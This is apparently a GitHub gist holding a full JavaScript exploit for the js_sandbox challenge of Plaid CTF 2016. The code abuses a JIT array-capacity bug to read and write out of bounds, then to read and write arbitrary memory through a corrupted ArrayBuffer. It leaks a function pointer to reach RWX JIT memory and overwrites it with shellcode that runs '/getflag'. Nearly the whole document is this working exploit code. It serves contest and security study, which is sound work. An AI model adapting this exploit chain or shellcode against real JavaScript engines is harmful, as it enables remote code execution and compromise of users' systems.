Skip to content

Instantly share code, notes, and snippets.

@sroettger
Created April 17, 2016 21:09
Show Gist options
  • Star 15 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save sroettger/d077d3907999aaa0f89d11d956b438ea to your computer and use it in GitHub Desktop.
Save sroettger/d077d3907999aaa0f89d11d956b438ea to your computer and use it in GitHub Desktop.
Exploit for the js_sandbox challenge of Plaid CTF 2016
with (true) {
// f() will allocate a buggy JSArray. The length is set to 24 but the capacity is only 16.
// take a look at JSCreateLowering::ReduceJSCreateArray to see why this is happening
function f(){
var x = 8;
var y = 0xffffffff;
var ind = x & y;
x = 16;
y = 0xffffffff;
var ind2 = ind + (x&y);
return [new Array(ind2), new Array(ind2)];
}
var arr = [];
for (var i = 155; i < 1000; i++) {
arr = f();
}
//to make use of the buggy capacity, we need to write in a loop
for(var i = 0; i < 24; i+=17){
arr[0][i] = 2261634.5098039214;
}
for(var i = 0; i < 24; i+=17){
arr[1][i] = 156842099844.51764;
}
arr[0].slice(0,1);
for(var i = 0; i < 24; i+=17){
arr[0][i] = 7.291066392709935e-304;
}
//at this point, arr[0] was used to overwrite the capacity of arr[1]'s backing store
//now arr[1] let's us read/write out of bounds.
//Note that we're using float arrays so that we can write 64 bit values
//next we allocate two things behind our float array
//1. an ArrayBuffer to turn this into an arbitrary read write
//2. a JSArray containing function pointers
//Now we find the length fields of these two using the out of bounds read
var ab = new ArrayBuffer(0x1337);
var next = [f, f, f, f, f, f, f, f, f];
var ab_off = 0;
var next_off = 0;
for(var i = 0 ; i < 4096; ++i) {
if(arr[1][i] == 1.0438097295758e-310) {
// 0x1337
print('found');
ab_off = i;
break;
}
}
for(var i = 0 ; i < 4096; ++i) {
if(arr[1][i] == 1.90979621187e-313) {
// 9
var test = arr[1][i+1];
for(var j = 1; j < 9; j++) {
if(arr[1][i+j+1] != test) {
test = 0;
break;
}
}
if(test != 0) {
print('found');
next_off = i;
break;
}
}
}
print(next_off);
//set the length of the ArrayBuffer to a large value
arr[1][ab_off] = 1.2882199255063871e-231;
//some helper functions to handle float / bit int conversions
function i2_to_d(x){
return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}
function d_to_i2(d){
var a = new Uint32Array(new Float64Array([d]).buffer);
return [a[1], a[0]];
}
function i2_to_hex(i2){
var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
return v1 + v2;
}
function i2_sub_i(i2, i){
if(i2[1] < 1){
return [i2[0] - 1, i2[1] + (0xffffffff - (i-1))];
} else {
return [i2[0], i2[1]-i];
}
}
function i2_add_i(i2, i){
if(i2[1] < 1 || (0xffffffff - (i2[1]-1)) > i){
return [i2[0], i2[1]+i];
} else {
return [i2[0] + 1, i2[1] - (0xffffffff - (i-1))];
}
}
function p_i2(i2){
print(i2_to_hex(i2));
}
//for the arbitrary read/write, we simply overwrite the backing store pointer in the ArrayBuffer
function read(addr){
arr[1][ab_off+1] = i2_to_d(addr);
var u32 = new Uint32Array(ab);
return [u32[1], u32[0]];
}
function write(addr, val){
arr[1][ab_off+1] = i2_to_d(addr);
var u8 = new Uint8Array(ab);
for (var i = 0; i < val.length; i++){
u8[i] = val[i];
}
}
//now that we have an arbitrary read/write, the final steps are easy
//use the leaked function object to get a pointer to the JIT memory (which is mapped rwx)
var fn_obj = i2_sub_i(d_to_i2(arr[1][next_off+1]), 1);
p_i2(fn_obj);
p_i2(i2_add_i(fn_obj, 0x38));
var rwx = read(i2_add_i(fn_obj, 0x38));
p_i2(rwx);
//overwrite it with our shellcode
sc = [0x48, 0x31, 0xd2, 0x52, 0x48, 0xbb, 0x2f, 0x67, 0x65, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0xf, 0x5];
write(rwx, sc);
//and call the function
f();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment